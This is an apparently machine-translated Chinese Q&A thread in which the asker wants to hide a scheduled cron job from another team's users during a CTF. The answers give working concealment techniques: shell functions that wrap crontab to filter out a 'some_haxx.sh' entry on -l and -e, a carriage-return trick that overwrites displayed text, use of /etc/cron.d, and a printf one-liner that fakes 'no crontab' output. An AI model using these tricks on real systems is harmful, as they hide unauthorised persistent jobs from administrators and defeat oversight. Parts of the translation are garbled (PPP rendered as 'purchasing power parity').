crontab -e
是否可以向 crontab 添加一个条目并将其隐藏,以便当用户使用或时它不会显示crontab -l
?我知道购买力平价曾在 Defcon CTF 期间遭到技术攻击。
UPD:最近我参加了一个 CTF,并且可以访问另一个团队的机器。我想让我的脚本以他们不会注意到的方式运行。这就是为什么我正在寻找这样的东西。所以我更喜欢它可以由非特权用户完成,但对于 root 用户的答案也是有帮助的。
答案1
有一些相当简单的方法可以通过误导来隐藏条目(但它们经不起严格审查)。
例如,这是一个简化的概念证明,用于干扰crontab -l
动态输出。
crontab() {
case "$*" in
(*-l*) command crontab "$@" | grep -v "some_haxx.sh" ;;
(*) command crontab "$@" ;;
esac
}
您必须将其放入 shell 配置文件中。
只要付出一点努力,就可以让它变得更加灵活,但如果你这样做,仍然可以发现其中的诡计cat /var/spool/cron/someuser
我认为通过-e
一些想法可以实现类似的干扰(在调用编辑器之前动态删除所需的条目,并在编辑后替换它。)
编辑:实际上有一种更简单的方法可以对正在运行的用户隐藏内容crontab -l
。内联键序列 ( Ctrl-vCtrl-m) 假设 Vim 是您的编辑器:
* * * * * /somedir/some_haxx.sh # Ctrl-vCtrl-m# 任何内容都可以放在这里,这会覆盖 cron 条目,您可以在此处放置大量空格或虚拟 cron 条目
您不会在编辑器中看到任何太特别的内容(^M
中线除外)。保存文件并退出编辑器。此技巧仅在从命令行查看文件时才有效。我们在这里所做的是插入一个carriage return
控制字符,这会导致显示的文本被该行后面的所有内容覆盖。
这克服了cat
上面提到的缺陷,但是您仍然需要一些烟雾和镜子来对正在编辑的用户隐藏它crontab -e
- 因为编辑器会将控制字符显示为^M
静止。
答案2
以 root 身份在 下创建一个文件/etc/cron.d/
, 下的 crontabs/etc/cron.d/
无法通过crontab -l
和来显示或编辑crontab -e
。
man cron
:
该目录可以包含任何遵循 /etc/crontab 中使用的格式定义任务的文件
答案3
在听说暗网日记上的 PPP 后,我也有同样的问题。在这里找到了答案。
http://vladz.devzero.fr/004_hide-crontab.html
例子:
printf "* * * * * >/tmp/x;\rno crontab for $USER\n" | crontab -
答案4
补充 bxm 的解决方案,以下函数还可以在crontab -e
用于编辑 cron 文件时隐藏有问题的行(添加到 中的某处$USER/.bashrc
):
crontab() {
case "$*" in
(*-l*) command crontab "$@" | grep -v "some_haxx.sh" ;;
(*-e*) H=$(grep "some_haxx.sh" /var/spool/cron/$USER); O=$(grep -v "some_haxx.sh" /var/spool/cron/$USER); echo "$O">/var/spool/cron/$USER; command crontab -e; echo "$H" >> /var/spool/cron/$USER ;;
(*) command crontab "$@" ;;
esac
}
cat
然后,您可以使用CTRL-vCTRL-m提到的 Vim bxm 中的技巧隐藏相关行。
如果用户出于某种原因更改了 shell,或者使用bash
with调用bash --norc
,则上述功能将不起作用。